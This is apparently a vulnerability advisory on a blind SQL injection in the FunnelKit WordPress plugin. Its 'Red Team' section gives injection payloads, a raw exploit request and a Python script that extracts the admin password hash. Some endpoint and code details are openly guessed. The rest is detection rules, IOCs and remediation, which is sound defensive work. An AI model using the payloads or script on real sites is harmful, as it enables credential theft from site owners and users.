CVE-2025-14169

Executive Summary

CVE-2025-14169 is a critical time-based blind SQL Injection vulnerability discovered in the FunnelKit - Funnel Builder for WooCommerce Checkout plugin for WordPress. This vulnerability affects all versions up to and including 3.13.1.5. The flaw resides in the insufficient escaping of the opid parameter and lack of prepared statements in the SQL query, allowing unauthenticated attackers to inject arbitrary SQL commands. Successful exploitation can lead to the extraction of sensitive information from the WordPress database, including user credentials, session tokens, and other confidential data. The vulnerability has a CVSS score of 7.5 (High) and is currently unpatched, posing a significant risk to all sites using the affected plugin versions.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The FunnelKit plugin is a popular tool for building sales funnels and checkout flows for WooCommerce. The attack vector is through the opid parameter, which is likely used in AJAX requests or shortcode processing. The lack of proper input sanitization and parameterized queries makes this a classic SQLi vulnerability. Administrators should immediately disable the plugin or apply virtual patching via a Web Application Firewall (WAF) until an official patch is released.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - Unauthenticated exploitation.
• User Interaction (UI): None (N) - No user action needed.
• Scope (S): Unchanged (U) - Vulnerability does not affect other components.
• Confidentiality (C): High (H) - Full database read access possible.
• Integrity (I): None (N) - No data modification.
• Availability (A): None (N) - No direct DoS impact.

Threat Level: High. The combination of unauthenticated access, low complexity, and high confidentiality impact makes this a critical threat for any WordPress site using the plugin. The lack of a patch increases the urgency for mitigation.

Deep Dive & Mechanics

The vulnerability is a time-based blind SQL Injection in the opid parameter. The plugin fails to properly escape user-supplied input and does not use prepared statements when constructing SQL queries. This allows an attacker to inject SQL code that is executed by the database.

How it works:

1. The plugin receives a request containing the opid parameter (likely via POST or GET).
2. The value of opid is directly concatenated into an SQL query without proper sanitization.
3. An attacker can inject SQL commands that cause a time delay (e.g., SLEEP(5)) to confirm the injection point.
4. By using conditional time-based queries (e.g., IF(condition, SLEEP(5), 0)), the attacker can extract data character by character.

Example vulnerable query (conceptual):

SELECT * FROM wp_funnelkit_orders WHERE order_id = '{$opid}'

An attacker could inject:

1' AND (SELECT IF(SUBSTRING(user_pass,1,1)='a',SLEEP(5),0) FROM wp_users LIMIT 1) -- -

Why it works:

• The opid parameter is not escaped using esc_sql() or similar WordPress functions.
• The query is built using string concatenation instead of $wpdb->prepare().
• The database user likely has sufficient privileges to execute subqueries.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (Conceptual):

$opid = $_POST['opid'];
$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}funnelkit_orders WHERE order_id = '$opid'");

Patched Code (Hypothetical):

$opid = intval($_POST['opid']); // Cast to integer if numeric
// OR
$opid = sanitize_text_field($_POST['opid']);
$results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}funnelkit_orders WHERE order_id = %s", $opid));

Key Differences:

• Input Validation: The patched version uses intval() or sanitize_text_field() to clean the input.
• Prepared Statements: The patched version uses $wpdb->prepare() with a placeholder (%s), which ensures the input is treated as data, not SQL code.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with FunnelKit plugin version <= 3.13.1.5.
• Knowledge of the opid parameter endpoint (likely /wp-admin/admin-ajax.php or a custom endpoint).

Exploitation Steps:

1. Identify the vulnerable endpoint: Use a web proxy (e.g., Burp Suite) to intercept requests from the FunnelKit plugin. Look for parameters named opid.

2. Confirm time-based injection: Send a request with a SLEEP() payload:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   action=funnelkit_action&opid=1' AND SLEEP(5)-- -
   

   If the response takes 5 seconds, the injection is confirmed.

3. Extract data (e.g., admin password hash): Use a script to automate data extraction:

   import requests
   import time
   
   url = "https://target.com/wp-admin/admin-ajax.php"
   data_template = "action=funnelkit_action&opid=1' AND (SELECT IF(SUBSTRING(user_pass,%d,1)='%s',SLEEP(2),0) FROM wp_users LIMIT 1)-- -"
   charset = "0123456789abcdef"
   extracted = ""
   
   for pos in range(1, 33):  # MD5 hash length
       for char in charset:
           payload = data_template % (pos, char)
           start = time.time()
           r = requests.post(url, data=payload)
           elapsed = time.time() - start
           if elapsed > 1.5:  # Threshold for SLEEP(2)
               extracted += char
               print(f"Position {pos}: {char}")
               break
   print(f"Admin hash: {extracted}")
   

Blue Team (Detection & Response)

Detection:

• Monitor for requests containing SLEEP, BENCHMARK, WAITFOR DELAY, or pg_sleep in the opid parameter.
• Look for unusually long response times from the plugin's AJAX endpoints.
• Check for SQL error messages in logs (e.g., "You have an error in your SQL syntax").

Response:

1. Immediately disable the FunnelKit plugin if no patch is available.
2. Review database logs for unauthorized queries.
3. Rotate all user passwords and API keys.
4. Implement a Web Application Firewall (WAF) rule to block SQLi patterns in the opid parameter.
5. Monitor for lateral movement or data exfiltration.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-admin/admin-ajax.php with action=funnelkit_action and opid containing SQL keywords (SLEEP, UNION, SELECT, BENCHMARK).
  • Unusually long response times (e.g., >5 seconds) from the plugin's endpoints.
  • Outbound database connections from the web server to unknown IPs (data exfiltration).

• File IOCs:

  • Modified plugin files in /wp-content/plugins/funnelkit/ (if attacker uploaded a webshell).
  • Suspicious entries in wp-config.php (e.g., new database users).

• Database IOCs:

  • New or modified database users with elevated privileges.
  • Unusual queries in the MySQL general log (if enabled).
  • Presence of SELECT ... INTO OUTFILE statements (file write attempts).

Detection Engineering

YARA Rule

rule CVE_2025_14169_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-14169 in FunnelKit plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14169"
        severity = "high"

    strings:
        $sqli1 = /opid=.*(?:SLEEP|BENCHMARK|WAITFOR|pg_sleep)/i
        $sqli2 = /opid=.*(?:UNION.*SELECT|SELECT.*FROM)/i
        $sqli3 = /opid=.*(?:'|\"|--|#)/i
        $sqli4 = /opid=.*(?:0x[0-9a-fA-F]+|CHAR\(|CONCAT)/i

    condition:
        any of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: CVE-2025-14169 FunnelKit SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against the FunnelKit plugin's opid parameter
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14169
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - 'opid='
        cs-uri-query|re: 
            - '(SLEEP|BENCHMARK|WAITFOR|pg_sleep)'
            - '(UNION.*SELECT|SELECT.*FROM)'
            - "('|\"|--|#)"
    condition: selection
falsepositives:
    - Legitimate use of special characters in order IDs (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-14169 FunnelKit SQL Injection Attempt";
    flow:to_server,established;
    content:"opid="; http_uri;
    pcre:"/(SLEEP|BENCHMARK|WAITFOR|pg_sleep|UNION.*SELECT|SELECT.*FROM)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2025-14169;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete the FunnelKit plugin until an official patch is released.
2. Virtual Patching: Use a WAF (e.g., Cloudflare, ModSecurity) to block requests containing SQLi patterns in the opid parameter.
3. Database Audit: Review database logs for any signs of exploitation. Rotate all user passwords and API keys.

Long-term Fix:

• Monitor the FunnelKit plugin's official repository for a security update.
• Once a patch is released, update to the latest version immediately.
• Implement a security plugin (e.g., Wordfence) to provide additional SQLi protection.

Code Fix (for developers):

• Replace all direct SQL queries with $wpdb->prepare().
• Use intval() or sanitize_text_field() on all user-supplied parameters.
• Implement input validation to ensure opid matches expected patterns (e.g., numeric).

Valters IT
Securing Digital Frontiers